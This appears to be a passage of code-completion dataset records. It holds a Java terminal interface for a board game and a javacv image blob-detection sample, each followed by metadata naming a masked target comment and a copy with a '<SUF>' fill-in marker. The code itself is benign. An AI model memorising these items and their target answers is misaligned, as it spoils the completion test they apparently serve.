switch (modelView.getShelfOf(p)[i][j].getType()) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
}
}
System.out.print(" " + i);
}
System.out.print("\n");
if (i != numberOfRows - 1) {
for (Player p : modelView.getPlayers())
System.out.print(" " + " " + " " + "╠═════╬═════╬═════╬═════╬═════╣ ");
System.out.print("\n");
}
}
for (int nop = 0; nop < numOfPlayers; nop++)
System.out.print(" " + " " + " " + "╚═════╩═════╩═════╩═════╩═════╝ ");
System.out.print("\n");
for (int nop = 0; nop < numOfPlayers; nop++)
System.out.print(" " + " " + " " + " 0 1 2 3 4");
System.out.print("\n");
}
/**
* Prints the scores of every player.
*/
private void printScores() {
System.out.println("Scores:");
for (Player p : modelView.getPlayers()) {
if (modelView.getPlayers().indexOf(p) != modelView.getPlayers().size() - 1)
System.out.print(" " + " " + "╠════> " + p.getName() + ": " + p.getScore() + " ");
else
System.out.print(" " + " " + "╚════> " + p.getName() + ": " + p.getScore() + " ");
for (int i = 0; i < p.getScore(); i++)
System.out.print("#");
System.out.println();
}
}
/**
* Prints the current board.
*
* @param board the board to be printed.
* @param layout the board layout.
*/
private void printBoard(ItemCard[][] board, boolean[][] layout) {
int boardSize = 9;
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "╔═════╦═════╦═════╦═════╦═════╦═════╦═════╦═════╦═════╗");
for (int i = 0; i < boardSize; i++) {
System.out.print(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "║");
for (int j = 0; j < boardSize; j++) {
if (!layout[i][j]) {
printInvalid();
} else if (board[i][j] == null) printEmpty();
else {
switch (board[i][j].getType()) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
}
}
System.out.print(" " + i + "\n");
if (i != boardSize - 1)
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "╠═════╬═════╬═════╬═════╬═════╬═════╬═════╬═════╬═════╣");
}
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "╚═════╩═════╩═════╩═════╩═════╩═════╩═════╩═════╩═════╝");
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " 0 1 2 3 4 5 6 7 8");
}
/**
* Prints the provided error.
*
* @param error the error to be printed.
*/
private void printError(String error) {
// Print an error message
System.out.println(ANSI_PURPLE + error + ANSI_RESET);
}
/**
* Scans the input of the user.
*
* @return the input provided by the user.
*/
private String scanLine() {
String ret;
do {
ret = scanner.nextLine();
} while (ret.equals("") && running);
return ret;
}
/**
* The View's possible states.
*/
private enum State {
ASK_NAME, ASK_NUMBER, WAITING_FOR_PLAYERS, WAITING_FOR_TURN, PLAY, ENDED
}
}
| AndreaTorti-01/ing-sw-2023-torti-vigano-valtolina-vokrri | src/main/java/it/polimi/ingsw/view/tui/Tui.java | 7,528 | //checking coordinate validity | line_comment | nl | package it.polimi.ingsw.view.tui;
import it.polimi.ingsw.model.Game;
import it.polimi.ingsw.model.ItemCards.ItemCard;
import it.polimi.ingsw.model.Player;
import it.polimi.ingsw.network.Client;
import it.polimi.ingsw.network.client.ClientImpl;
import it.polimi.ingsw.network.serializable.ChatMsg;
import it.polimi.ingsw.network.serializable.CheatMsg;
import it.polimi.ingsw.network.serializable.GameViewMsg;
import it.polimi.ingsw.network.serializable.MoveMsg;
import it.polimi.ingsw.utils.ObservableImpl;
import it.polimi.ingsw.view.RunnableView;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
import static it.polimi.ingsw.utils.Common.isTakeable;
import static it.polimi.ingsw.utils.Constants.*;
import static it.polimi.ingsw.view.tui.TerminalPrintables.*;
/**
* The TUI view of the game.
*/
public class Tui extends ObservableImpl implements RunnableView {
/**
* A lock to synchronize all the methods that change the state of this view.
*/
private final Object lock = new Object();
/**
* The scanner used to read the input.
*/
private final Scanner scanner = new Scanner(System.in);
/**
* Whether the player gave the number of players that will play the game or not.
*/
boolean gaveNumber;
/**
* The name of the player.
*/
private String playerName = "";
/**
* The model view of the game.
*/
private GameViewMsg modelView;
/**
* The state of the view.
*/
private State state = State.ASK_NAME;
/**
* Whether the view is running or not.
*/
private volatile boolean running;
/**
* Creates a new Textual User Interface view associated with the provided client.
*
* @param client the client associated with this view.
*/
public Tui(Client client) {
this.addObserver((ClientImpl) client);
}
/**
* Gets the state of the view.
*
* @return the state of the view.
*/
private State getState() {
synchronized (lock) {
return state;
}
}
/**
* Sets the state of the view to the provided one.
*
* @param state the new state of the view.
*/
private void setState(State state) {
synchronized (lock) {
this.state = state;
lock.notifyAll();
}
}
/**
* The main game loop.
*/
@Override
public void run() {
while (getState() == Tui.State.ASK_NAME) {
synchronized (lock) {
try {
new Thread(this::askPlayerName).start();
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
while (getState() == Tui.State.ASK_NUMBER) {
synchronized (lock) {
try {
new Thread(this::askPlayerNumber).start();
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
while (getState() == Tui.State.WAITING_FOR_PLAYERS) {
synchronized (lock) {
try {
printWaitingForPlayers();
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
// create a thread passing the function that will handle the input
running = true;
Thread inputHandler = new Thread(this::acceptInput);
inputHandler.start();
while (!(getState() == Tui.State.ENDED)) {
synchronized (lock) {
try {
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
// wait for the input handler to terminate and close the game
System.out.println("Press enter to close the game");
running = false;
try {
inputHandler.join();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
System.exit(0);
}
/**
* Updates the view with the provided model state.
*
* @param modelView the model view that contains a representation of the model state.
*/
@Override
public void updateView(GameViewMsg modelView) {
this.modelView = modelView;
// check the name input is valid
if (getState() == Tui.State.ASK_NAME && !playerName.equals("") && modelView.getNameError()) {
this.playerName = "";
setState(Tui.State.ASK_NAME);
}
// the game is waiting for players
if (!playerName.equals("") && modelView.getGameStatus().equals(Game.Status.WAITING)) {
if (playerName.equals(modelView.getPlayers().get(0).getName()) && !gaveNumber) {
setState(Tui.State.ASK_NUMBER); // I am lobby leader
} else setState(Tui.State.WAITING_FOR_PLAYERS); // I am not lobby leader
}
// the game has started
else if (modelView.getGameStatus().equals(Game.Status.STARTED)) {
if (modelView.getCurrentPlayer().getName().equals(this.playerName))
setState(Tui.State.PLAY); // it's my turn
else setState(Tui.State.WAITING_FOR_TURN); // it's not my turn
printGameStatus();
if (getState() == Tui.State.PLAY) {
System.out.println("It's your turn!");
}
}
// the game ends
else if (modelView.getGameStatus().equals(Game.Status.ENDED)) {
printEndScreen(modelView.getWinner().getName());
setState(Tui.State.ENDED);
}
}
/**
* Accepts input from the user and notifies the observers with the chosen message.
*/
private void acceptInput() {
while (running) {
// scan for command
String line = scanLine();
// check if running
if (!running) break;
// check if it's a command
if (line.charAt(0) == '/') {
String command = line.split(" ")[0];
// check which command it is
switch (command) {
case "/chat" -> {
// check that it has 2 arguments
if (line.split(" ").length >= 2) {
String chatMessage = line.split(" ", 2)[1];
notifyObservers(new ChatMsg(null, playerName, true, chatMessage));
} else {
System.out.println("Invalid arguments: Type /chat <message> to send a message to all players");
}
}
case "/privatechat" -> {
// check that it has 3 arguments
if (line.split(" ").length >= 3) {
String destPlayer = line.split(" ")[1];
List<String> playerNames = new ArrayList<>();
for (Player player : modelView.getPlayers()) {
playerNames.add(player.getName());
}
// check that the dest player exists and is not the player himself
if (playerNames.contains(destPlayer) && !destPlayer.equals(playerName)) {
String chatMessage = line.split(" ", 3)[2];
notifyObservers(new ChatMsg(destPlayer, playerName, false, "[private]" + chatMessage));
} else if (destPlayer.equals(playerName)) {
System.out.println("You can't send a private message to yourself, touch some grass instead :)");
} else {
System.out.println("Invalid player name");
}
} else {
System.out.println("Invalid arguments: Type /privatechat <player> <message> to send a private message to a player");
}
}
case "/pick" -> {
// check if it's the player's turn
if (state.equals(Tui.State.PLAY)) {
pickCards();
} else System.out.println("Picking cards is not an option right now.");
}
case "/cheat" -> {
if (modelView.getCurrentPlayer().getName().equals(playerName)) {
notifyObservers(new CheatMsg(playerName));
} else System.out.println("You can't cheat if it's not your turn!");
}
case "/help" -> {
System.out.println("Type /chat <message> to send a message to all players");
System.out.println("Type /privatechat <player> <message> to send a private message to a player");
System.out.println("Type /pick to start the card picking process");
System.out.println("Type /help to see this list again");
}
default -> System.out.println("Invalid command: type /help for a list of commands");
}
} else System.out.println("Invalid command: type /help for a list of commands");
}
}
/**
* Asks the player the number of players that will play the game.
*/
private void askPlayerNumber() {
int playerNumber = 0;
boolean valid = false;
while (!valid) {
System.out.println("How many players are playing? (2-4)");
try {
playerNumber = Integer.parseInt(scanLine());
if (playerNumber >= 2 && playerNumber <= 4) valid = true;
else printError("Invalid number of players");
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
}
gaveNumber = true;
notifyObservers(playerNumber);
}
/**
* Asks the player to pick the cards from the board.
* The cards will be in the exact order.
* Notifies the observers of the picked cards.
*/
private void pickCards() {
List<List<Integer>> pickedCoords = new ArrayList<>();
System.out.println("You can pick cards from the board");
int pickedNum = 0; //number of already picked cards
boolean validChoice = false;
int shelfCol = 0; //column of the shelf where the player is moving cards to
int maxCards = 0; //maximum cards that can be picked
int[] freeSlotsNumber = new int[numberOfColumns]; //number of max cards that can be inserted in each column
List<ItemCard> pickedCards = new ArrayList<>(); //list of picked cards
Player me = null;
for (Player p : modelView.getPlayers())
if (p.getName().equals(playerName)) {
me = p;
break;
}
if (me == null) throw new NullPointerException();
for (int j = 0; j < numberOfColumns; j++) {
int freeSlots = 0;
for (int i = 0; i < numberOfRows && freeSlots < 3; i++) {
if (modelView.getShelfOf(me)[i][j] == null) freeSlots++;
if (freeSlots > maxCards) maxCards = freeSlots;
freeSlotsNumber[j] = freeSlots;
}
}
if (maxCards > 3) maxCards = 3;
//asking for card coordinates
System.out.println("You can take up to " + maxCards + " cards");
while (pickedNum < maxCards) {
System.out.print("Card " + (pickedNum + 1) + "-> enter ROW number: ");
boolean valid = false;
int row = 0;
while (!valid)
try {
row = Integer.parseInt(scanLine());
if (row >= 0 && row < numberOfBoardRows) valid = true;
else printError("Invalid number");
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
System.out.print("Card " + (pickedNum + 1) + "-> enter COLUMN number: ");
valid = false;
int column = 0;
while (!valid)
try {
column = Integer.parseInt(scanLine());
if (column >= 0 && column < numberOfBoardColumns) valid = true;
else printError("Invalid number");
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
//checking coordinate<SUF>
if (isTakeable(modelView, row, column, pickedCoords)) {
List<Integer> coords = new ArrayList<>();
coords.add(row);
coords.add(column);
pickedCoords.add(coords);
pickedCards.add(modelView.getBoard()[row][column]);
pickedNum++;
} else printError("Invalid coordinates!, retry");
//ask if the player wants to pick another card
if (pickedNum < maxCards && pickedNum != 0) {
System.out.println("Do you want to pick another card?");
if (!askBoolean()) break;
}
}
System.out.println("These are the cards you picked: ");
printPickedCards(pickedCards);
System.out.println("Chose the the order: 1 - 2 - 3");
int orderId = 0; // not redundant
List<List<Integer>> tmp = new ArrayList<>();
List<Integer> used = new ArrayList<>();
while (tmp.size() < pickedCoords.size()) {
do {
try {
orderId = Integer.parseInt(scanLine());
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
} while ((orderId < 1 || orderId > pickedCoords.size()));
if (!used.contains(orderId)) {
used.add(orderId);
tmp.add(pickedCoords.get(orderId - 1));
} else
printError("You already used this number! retry");
}
pickedCoords = tmp;
System.out.println("Chose a shelf column to move the cards to: ");
while (!validChoice) {
try {
shelfCol = scanner.nextInt();
if (shelfCol < 0 || shelfCol >= numberOfColumns) printError("Invalid column! retry");
else if (freeSlotsNumber[shelfCol] < pickedNum) printError("Not enough space! retry");
else validChoice = true;
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
}
//notifying observers
notifyObservers(new MoveMsg(pickedCoords, shelfCol));
}
/**
* Prints the cards that the player picked.
*
* @param pickedCards the cards picked by the player.
*/
private void printPickedCards(List<ItemCard> pickedCards) {
for (ItemCard card : pickedCards) {
switch (card.getType()) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
System.out.print(" ");
}
}
/**
* Prints the current Game state.
*/
private void printGameStatus() {
// Prints the title, boards and shelves
clearConsole();
printSeparee();
printMyShelfie();
printBoard(modelView.getBoard(), modelView.getLayout());
System.out.println("\n");
printShelves();
printCommonGoalCards();
printPersonalGoalCards();
printScores();
printChat();
printSeparee();
}
/**
* Prints the Common Goal Cards.
*/
private void printCommonGoalCards() {
System.out.println("Common goal cards: ");
for (int i = 0; i < modelView.getCommonGoalCards().size(); i++) {
System.out.print((i + 1) + ": " + modelView.getCommonGoalCards().get(i).getType().toString() + " " + " " + " ");
}
System.out.println();
}
/**
* Prints the Personal Goal Cards.
*/
private void printPersonalGoalCards() {
System.out.println("Personal goal cards: ");
Player playingPlayer = null;
for (Player p : modelView.getPlayers()) {
if (p.getName().equals(playerName)) playingPlayer = p;
}
if (playingPlayer != null) {
System.out.print(" " + " " + " " + "╔═════╦═════╦═════╦═════╦═════╗");
System.out.print("\n");
for (int i = 0; i < numberOfRows; i++) {
System.out.print(" " + " " + " " + "║");
for (int j = 0; j < numberOfColumns; j++) {
if (playingPlayer.getPersonalGoalCard().getPattern()[i][j] == null) printEmpty();
else {
switch (playingPlayer.getPersonalGoalCard().getPattern()[i][j]) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
}
}
System.out.print(" " + i);
System.out.print("\n");
if (i != numberOfRows - 1)
System.out.println(" " + " " + " " + "╠═════╬═════╬═════╬═════╬═════╣");
}
System.out.print(" " + " " + " " + "╚═════╩═════╩═════╩═════╩═════╝");
System.out.print("\n");
System.out.print(" " + " " + " " + " 0 1 2 3 4 ");
System.out.println();
} else System.err.println("Error: player not found");
}
/**
* Prints the chat messages.
*/
private void printChat() {
if (modelView.getMessages().size() == 0) return;
System.out.println("Chat: ");
for (ChatMsg message : modelView.getMessages()) {
if (message.isPublic() || !message.isPublic() && (message.getRecipientPlayer().equals(playerName) || message.getSenderPlayer().equals(playerName)))
System.out.println(ANSI_BLUE + message.getSenderPlayer() + ": " + ANSI_RESET + ANSI_GREY + message.getMessage() + ANSI_RESET);
}
}
/**
* Prints the end screen with the provided winner name.
*
* @param winnerName the name of the winner.
*/
private void printEndScreen(String winnerName) {
printSeparee();
if (modelView.getWinner().getName().equals(playerName)) printWon();
else printLost();
System.out.println("The winner is " + winnerName + "!");
printScores();
printSeparee();
}
/**
* Asks the player's name.
*/
private void askPlayerName() {
// Ask the name of the player
System.out.println(" >> Enter your name: ");
this.playerName = scanLine();
notifyObservers(playerName);
}
/**
* Asks the player a true/false question.
*
* @return true if the player answered "y", false otherwise.
*/
private boolean askBoolean() {
System.out.print(" >> (y/n) ");
while (true) {
String input = scanLine();
char c = Character.toLowerCase(input.charAt(0));
if (c == 'y') {
return true;
} else if (c == 'n') {
return false;
} else {
printError("Please enter a valid input (y/n)");
}
}
}
/**
* Prints the shelves of every player.
*/
private void printShelves() {
int numOfPlayers = modelView.getPlayers().size();
for (Player p : modelView.getPlayers()) {
System.out.print(" " + " " + " " + p.getName());
for (int spaceCounter = 0; spaceCounter < 31 - p.getName().length(); spaceCounter++) System.out.print(" ");
System.out.print(" ");
}
System.out.print("\n");
for (int nop = 0; nop < numOfPlayers; nop++) {
System.out.print(" " + " " + " " + "╔═════╦═════╦═════╦═════╦═════╗ ");
}
System.out.print("\n");
for (int i = 0; i < numberOfRows; i++) {
for (Player p : modelView.getPlayers()) {
System.out.print(" " + " " + " " + "║");
for (int j = 0; j < numberOfColumns; j++) {
if (modelView.getShelfOf(p)[i][j] == null) printEmpty();
else {
switch (modelView.getShelfOf(p)[i][j].getType()) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
}
}
System.out.print(" " + i);
}
System.out.print("\n");
if (i != numberOfRows - 1) {
for (Player p : modelView.getPlayers())
System.out.print(" " + " " + " " + "╠═════╬═════╬═════╬═════╬═════╣ ");
System.out.print("\n");
}
}
for (int nop = 0; nop < numOfPlayers; nop++)
System.out.print(" " + " " + " " + "╚═════╩═════╩═════╩═════╩═════╝ ");
System.out.print("\n");
for (int nop = 0; nop < numOfPlayers; nop++)
System.out.print(" " + " " + " " + " 0 1 2 3 4");
System.out.print("\n");
}
/**
* Prints the scores of every player.
*/
private void printScores() {
System.out.println("Scores:");
for (Player p : modelView.getPlayers()) {
if (modelView.getPlayers().indexOf(p) != modelView.getPlayers().size() - 1)
System.out.print(" " + " " + "╠════> " + p.getName() + ": " + p.getScore() + " ");
else
System.out.print(" " + " " + "╚════> " + p.getName() + ": " + p.getScore() + " ");
for (int i = 0; i < p.getScore(); i++)
System.out.print("#");
System.out.println();
}
}
/**
* Prints the current board.
*
* @param board the board to be printed.
* @param layout the board layout.
*/
private void printBoard(ItemCard[][] board, boolean[][] layout) {
int boardSize = 9;
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "╔═════╦═════╦═════╦═════╦═════╦═════╦═════╦═════╦═════╗");
for (int i = 0; i < boardSize; i++) {
System.out.print(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "║");
for (int j = 0; j < boardSize; j++) {
if (!layout[i][j]) {
printInvalid();
} else if (board[i][j] == null) printEmpty();
else {
switch (board[i][j].getType()) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
}
}
System.out.print(" " + i + "\n");
if (i != boardSize - 1)
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "╠═════╬═════╬═════╬═════╬═════╬═════╬═════╬═════╬═════╣");
}
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "╚═════╩═════╩═════╩═════╩═════╩═════╩═════╩═════╩═════╝");
System.out.println(" " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " 0 1 2 3 4 5 6 7 8");
}
/**
* Prints the provided error.
*
* @param error the error to be printed.
*/
private void printError(String error) {
// Print an error message
System.out.println(ANSI_PURPLE + error + ANSI_RESET);
}
/**
* Scans the input of the user.
*
* @return the input provided by the user.
*/
private String scanLine() {
String ret;
do {
ret = scanner.nextLine();
} while (ret.equals("") && running);
return ret;
}
/**
* The View's possible states.
*/
private enum State {
ASK_NAME, ASK_NUMBER, WAITING_FOR_PLAYERS, WAITING_FOR_TURN, PLAY, ENDED
}
}
|
165524_11 | import org.bytedeco.javacv.Blobs;
import org.bytedeco.javacv.CanvasFrame;
import org.bytedeco.javacv.OpenCVFrameConverter;
import org.bytedeco.opencv.opencv_core.*;
import org.bytedeco.opencv.opencv_imgproc.*;
import static org.bytedeco.opencv.global.opencv_core.*;
import static org.bytedeco.opencv.global.opencv_imgcodecs.*;
import static org.bytedeco.opencv.global.opencv_imgproc.*;
///////////////////////////////////////////////////////////////////
//* *//
//* As the author of this code, I place all of this code into *//
//* the public domain. Users can use it for any legal purpose. *//
//* *//
//* - Dave Grossman *//
//* *//
///////////////////////////////////////////////////////////////////
public class BlobDemo
{
public static void main(String[] args)
{
System.out.println("STARTING...\n");
demo();
System.out.println("ALL DONE");
}
public static void demo()
{
int MinArea = 6;
int ErodeCount =0;
int DilateCount = 0;
IplImage RawImage = null;
// Read an image.
for(int k = 0; k < 7; k++)
{
if(k == 0) { RawImage = cvLoadImage("BlackBalls.jpg"); MinArea = 250; ErodeCount = 0; DilateCount = 1; }
else if(k == 1) { RawImage = cvLoadImage("Shapes1.jpg"); MinArea = 6; ErodeCount = 0; DilateCount = 1; }
else if(k == 2) { RawImage = cvLoadImage("Shapes2.jpg"); MinArea = 250; ErodeCount = 0; DilateCount = 1; }
else if(k == 3) { RawImage = cvLoadImage("Blob1.jpg"); MinArea = 2800; ErodeCount = 1; DilateCount = 1; }
else if(k == 4) { RawImage = cvLoadImage("Blob2.jpg"); MinArea = 2800; ErodeCount = 1; DilateCount = 1; }
else if(k == 5) { RawImage = cvLoadImage("Blob3.jpg"); MinArea = 2800; ErodeCount = 1; DilateCount = 1; }
else if(k == 6) { RawImage = cvLoadImage("Rice.jpg"); MinArea = 30; ErodeCount = 2; DilateCount = 1; }
//ShowImage(RawImage, "RawImage", 512);
IplImage GrayImage = cvCreateImage(cvGetSize(RawImage), IPL_DEPTH_8U, 1);
cvCvtColor(RawImage, GrayImage, CV_BGR2GRAY);
//ShowImage(GrayImage, "GrayImage", 512);
IplImage BWImage = cvCreateImage(cvGetSize(GrayImage), IPL_DEPTH_8U, 1);
cvThreshold(GrayImage, BWImage, 127, 255, CV_THRESH_BINARY);
//ShowImage(BWImage, "BWImage");
IplImage WorkingImage = cvCreateImage(cvGetSize(BWImage), IPL_DEPTH_8U, 1);
cvErode(BWImage, WorkingImage, null, ErodeCount);
cvDilate(WorkingImage, WorkingImage, null, DilateCount);
//ShowImage(WorkingImage, "WorkingImage", 512);
//cvSaveImage("Working.jpg", WorkingImage);
//PrintGrayImage(WorkingImage, "WorkingImage");
//BinaryHistogram(WorkingImage);
Blobs Regions = new Blobs();
Regions.BlobAnalysis(
WorkingImage, // image
-1, -1, // ROI start col, row
-1, -1, // ROI cols, rows
1, // border (0 = black; 1 = white)
MinArea); // minarea
Regions.PrintRegionData();
for(int i = 1; i <= Blobs.MaxLabel; i++)
{
double [] Region = Blobs.RegionData[i];
int Parent = (int) Region[Blobs.BLOBPARENT];
int Color = (int) Region[Blobs.BLOBCOLOR];
int MinX = (int) Region[Blobs.BLOBMINX];
int MaxX = (int) Region[Blobs.BLOBMAXX];
int MinY = (int) Region[Blobs.BLOBMINY];
int MaxY = (int) Region[Blobs.BLOBMAXY];
Highlight(RawImage, MinX, MinY, MaxX, MaxY, 1);
}
ShowImage(RawImage, "RawImage", 512);
cvReleaseImage(GrayImage); GrayImage = null;
cvReleaseImage(BWImage); BWImage = null;
cvReleaseImage(WorkingImage); WorkingImage = null;
}
cvReleaseImage(RawImage); RawImage = null;
}
// Versions with 2, 3, and 4 parms respectively
public static void ShowImage(IplImage image, String caption)
{
CvMat mat = image.asCvMat();
int width = mat.cols(); if(width < 1) width = 1;
int height = mat.rows(); if(height < 1) height = 1;
double aspect = 1.0 * width / height;
if(height < 128) { height = 128; width = (int) ( height * aspect ); }
if(width < 128) width = 128;
height = (int) ( width / aspect );
ShowImage(image, caption, width, height);
}
public static void ShowImage(IplImage image, String caption, int size)
{
if(size < 128) size = 128;
CvMat mat = image.asCvMat();
int width = mat.cols(); if(width < 1) width = 1;
int height = mat.rows(); if(height < 1) height = 1;
double aspect = 1.0 * width / height;
if(height != size) { height = size; width = (int) ( height * aspect ); }
if(width != size) width = size;
height = (int) ( width / aspect );
ShowImage(image, caption, width, height);
}
public static void ShowImage(IplImage image, String caption, int width, int height)
{
CanvasFrame canvas = new CanvasFrame(caption, 1); // gamma=1
canvas.setDefaultCloseOperation(javax.swing.JFrame.EXIT_ON_CLOSE);
canvas.setCanvasSize(width, height);
OpenCVFrameConverter converter = new OpenCVFrameConverter.ToIplImage();
canvas.showImage(converter.convert(image));
}
public static void Highlight(IplImage image, int [] inVec)
{
Highlight(image, inVec[0], inVec[1], inVec[2], inVec[3], 1);
}
public static void Highlight(IplImage image, int [] inVec, int Thick)
{
Highlight(image, inVec[0], inVec[1], inVec[2], inVec[3], Thick);
}
public static void Highlight(IplImage image, int xMin, int yMin, int xMax, int yMax)
{
Highlight(image, xMin, yMin, xMax, yMax, 1);
}
public static void Highlight(IplImage image, int xMin, int yMin, int xMax, int yMax, int Thick)
{
CvPoint pt1 = cvPoint(xMin,yMin);
CvPoint pt2 = cvPoint(xMax,yMax);
CvScalar color = cvScalar(255,0,0,0); // blue [green] [red]
cvRectangle(image, pt1, pt2, color, Thick, 4, 0);
}
public static void PrintGrayImage(IplImage image, String caption)
{
int size = 512; // impractical to print anything larger
CvMat mat = image.asCvMat();
int cols = mat.cols(); if(cols < 1) cols = 1;
int rows = mat.rows(); if(rows < 1) rows = 1;
double aspect = 1.0 * cols / rows;
if(rows > size) { rows = size; cols = (int) ( rows * aspect ); }
if(cols > size) cols = size;
rows = (int) ( cols / aspect );
PrintGrayImage(image, caption, 0, cols, 0, rows);
}
public static void PrintGrayImage(IplImage image, String caption, int MinX, int MaxX, int MinY, int MaxY)
{
int size = 512; // impractical to print anything larger
CvMat mat = image.asCvMat();
int cols = mat.cols(); if(cols < 1) cols = 1;
int rows = mat.rows(); if(rows < 1) rows = 1;
if(MinX < 0) MinX = 0; if(MinX > cols) MinX = cols;
if(MaxX < 0) MaxX = 0; if(MaxX > cols) MaxX = cols;
if(MinY < 0) MinY = 0; if(MinY > rows) MinY = rows;
if(MaxY < 0) MaxY = 0; if(MaxY > rows) MaxY = rows;
System.out.println("\n" + caption);
System.out.print(" +");
for(int icol = MinX; icol < MaxX; icol++) System.out.print("-");
System.out.println("+");
for(int irow = MinY; irow < MaxY; irow++)
{
if(irow<10) System.out.print(" ");
if(irow<100) System.out.print(" ");
System.out.print(irow);
System.out.print("|");
for(int icol = MinX; icol < MaxX; icol++)
{
int val = (int) mat.get(irow,icol);
String C = " ";
if(val == 0) C = "*";
System.out.print(C);
}
System.out.println("|");
}
System.out.print(" +");
for(int icol = MinX; icol < MaxX; icol++) System.out.print("-");
System.out.println("+");
}
public static void PrintImageProperties(IplImage image)
{
CvMat mat = image.asCvMat();
int cols = mat.cols();
int rows = mat.rows();
int depth = mat.depth();
System.out.println("ImageProperties for " + image + " : cols=" + cols + " rows=" + rows + " depth=" + depth);
}
public static float BinaryHistogram(IplImage image)
{
CvScalar Sum = cvSum(image);
float WhitePixels = (float) ( Sum.getVal(0) / 255 );
CvMat mat = image.asCvMat();
float TotalPixels = mat.cols() * mat.rows();
//float BlackPixels = TotalPixels - WhitePixels;
return WhitePixels / TotalPixels;
}
// Counterclockwise small angle rotation by skewing - Does not stretch border pixels
public static IplImage SkewGrayImage(IplImage Src, double angle) // angle is in radians
{
//double radians = - Math.PI * angle / 360.0; // Half because skew is horizontal and vertical
double sin = - Math.sin(angle);
double AbsSin = Math.abs(sin);
int nChannels = Src.nChannels();
if(nChannels != 1)
{
System.out.println("ERROR: SkewGrayImage: Require 1 channel: nChannels=" + nChannels);
System.exit(1);
}
CvMat SrcMat = Src.asCvMat();
int SrcCols = SrcMat.cols();
int SrcRows = SrcMat.rows();
double WidthSkew = AbsSin * SrcRows;
double HeightSkew = AbsSin * SrcCols;
int DstCols = (int) ( SrcCols + WidthSkew );
int DstRows = (int) ( SrcRows + HeightSkew );
CvMat DstMat = cvCreateMat(DstRows, DstCols, CV_8UC1); // Type matches IPL_DEPTH_8U
cvSetZero(DstMat);
cvNot(DstMat, DstMat);
for(int irow = 0; irow < DstRows; irow++)
{
int dcol = (int) ( WidthSkew * irow / SrcRows );
for(int icol = 0; icol < DstCols; icol++)
{
int drow = (int) ( HeightSkew - HeightSkew * icol / SrcCols );
int jrow = irow - drow;
int jcol = icol - dcol;
if(jrow < 0 || jcol < 0 || jrow >= SrcRows || jcol >= SrcCols) DstMat.put(irow, icol, 255);
else DstMat.put(irow, icol, (int) SrcMat.get(jrow,jcol));
}
}
IplImage Dst = cvCreateImage(cvSize(DstCols, DstRows), IPL_DEPTH_8U, 1);
Dst = DstMat.asIplImage();
return Dst;
}
public static IplImage TransposeImage(IplImage SrcImage)
{
CvMat mat = SrcImage.asCvMat();
int cols = mat.cols();
int rows = mat.rows();
IplImage DstImage = cvCreateImage(cvSize(rows, cols), IPL_DEPTH_8U, 1);
cvTranspose(SrcImage, DstImage);
cvFlip(DstImage,DstImage,1);
return DstImage;
}
}
| AndreevEvg/javacv | samples/BlobDemo.java | 3,888 | // blue [green] [red] | line_comment | nl | import org.bytedeco.javacv.Blobs;
import org.bytedeco.javacv.CanvasFrame;
import org.bytedeco.javacv.OpenCVFrameConverter;
import org.bytedeco.opencv.opencv_core.*;
import org.bytedeco.opencv.opencv_imgproc.*;
import static org.bytedeco.opencv.global.opencv_core.*;
import static org.bytedeco.opencv.global.opencv_imgcodecs.*;
import static org.bytedeco.opencv.global.opencv_imgproc.*;
///////////////////////////////////////////////////////////////////
//* *//
//* As the author of this code, I place all of this code into *//
//* the public domain. Users can use it for any legal purpose. *//
//* *//
//* - Dave Grossman *//
//* *//
///////////////////////////////////////////////////////////////////
public class BlobDemo
{
public static void main(String[] args)
{
System.out.println("STARTING...\n");
demo();
System.out.println("ALL DONE");
}
public static void demo()
{
int MinArea = 6;
int ErodeCount =0;
int DilateCount = 0;
IplImage RawImage = null;
// Read an image.
for(int k = 0; k < 7; k++)
{
if(k == 0) { RawImage = cvLoadImage("BlackBalls.jpg"); MinArea = 250; ErodeCount = 0; DilateCount = 1; }
else if(k == 1) { RawImage = cvLoadImage("Shapes1.jpg"); MinArea = 6; ErodeCount = 0; DilateCount = 1; }
else if(k == 2) { RawImage = cvLoadImage("Shapes2.jpg"); MinArea = 250; ErodeCount = 0; DilateCount = 1; }
